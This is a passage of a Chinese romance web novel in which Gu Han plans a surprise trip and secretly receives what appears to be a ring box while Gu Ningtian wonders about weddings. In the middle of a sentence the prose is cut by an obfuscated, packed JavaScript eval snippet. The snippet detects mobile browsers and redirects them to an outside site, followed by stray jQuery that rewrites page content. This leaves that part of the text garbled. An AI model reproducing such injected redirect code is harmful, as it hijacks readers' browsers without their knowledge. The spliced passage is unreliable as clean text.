“好。”顾涵浅笑着与对方握手,将对方送出公司。 顾凝恬跟在他的身后,问:“你又要出差了吗?” 听出她语气里的闷闷不乐,顾涵捏了捏她的手心,对着她故弄玄虚地挑挑眉:“确实是要出差,不过……” 他拉长着语气,顾凝恬直勾勾地等着他的下半句。 “只不过不是因公出差,而是和你一起。” “和我一起?”顾凝恬糊涂着被顾涵带回办公室。 顾涵收拾了一下自己的桌面,拿上西装外套,关上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271511|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电脑,拉着顾凝恬离开公司:“对,跟你一起,我要带你去一个特别的地方。” 顾凝恬伸手戳了戳顾涵的侧腰:“什么时候去呀?是去哪里?” 顾涵笑着捉住她调皮的手指,顺势搂住她的腰:“明天就去,到了你就知道了。” 两人找了一家西餐厅吃了晚饭,之后手牵手散步在街道。 初秋的傍晚,微风轻拂,商业街的霓虹刚刚亮起,绚烂的灯光从地尽头蔓延至城市远方。顾涵把西装外套搭在臂弯,白衬衫袖口挽到手肘,露出线条分明的小臂。 他在心不在焉的顾凝恬腮帮子捏了捏:“表情这么凝重,是在想什么?” 顾凝恬顿了顿。 网上说,结婚就是两个人住在一起生活,她现在和顾涵就是住在一起啊,那他们这样算是结婚了吧?可是他们怎么没有办婚礼呢?顾凝恬百思不得解,如今被顾涵问到,她直言说:“人类好像都是要结婚的,为什么我们没有婚礼啊?” 夜色中,顾涵的眼底闪过讶异啊,他低垂眉眼,唇角弯弯:“猫猫现在连结婚这个词都知道了。” “嗯嗯。”顾凝恬手捧着一杯奶茶,吸了一口鼓着腮帮子,告诉顾涵今天发生的事。 “她邀请我去她的婚礼呢。” 顾涵默默听着没说话,顾凝恬很快把这事抛之脑后,跟顾涵说起其他事情。闲聊中,两人慢慢走回到了家,进门前,顾涵的手机响了起来。 他看了眼屏幕,没急着接听,对顾凝恬说:“有个工作电话,我处理一下。” “噢。”顾凝恬不作他想,先一步进门,准备回卧室洗澡,走到一半,又想起冰箱放着的雪糕,折身下楼,正好瞧见顾涵和一个陌生男人在说话。 顾凝恬疑惑着多看了眼,想看看这人是谁,见他拿出了一个红色的盒子递给了顾涵。 顾凝恬的脚步顿住了,她下意识地往后退了退,躲在楼梯拐角的阴影处。陌生男人穿着笔挺的西装,神情恭敬,声音压得很低,但顾凝恬还是隐约听到了几个词——“定制”、“确认”、“日期”。 顾涵接过那个红色丝绒盒子,指腹轻轻摩挲了一下盒面,唇角微不可察地弯了弯。他低声说了句什么,男人点点头,很快转身离开。 顾凝恬咬了咬唇,装作若无其事地走下楼梯,故意踩重了脚步,扬声问:“谁呀?” 顾涵闻声回头,迅速将盒子收进西装口袋,神色如常:“公司的事。”他走过来,顺手揉了揉她的头发:“不是说要洗澡吗?怎么又下来了?”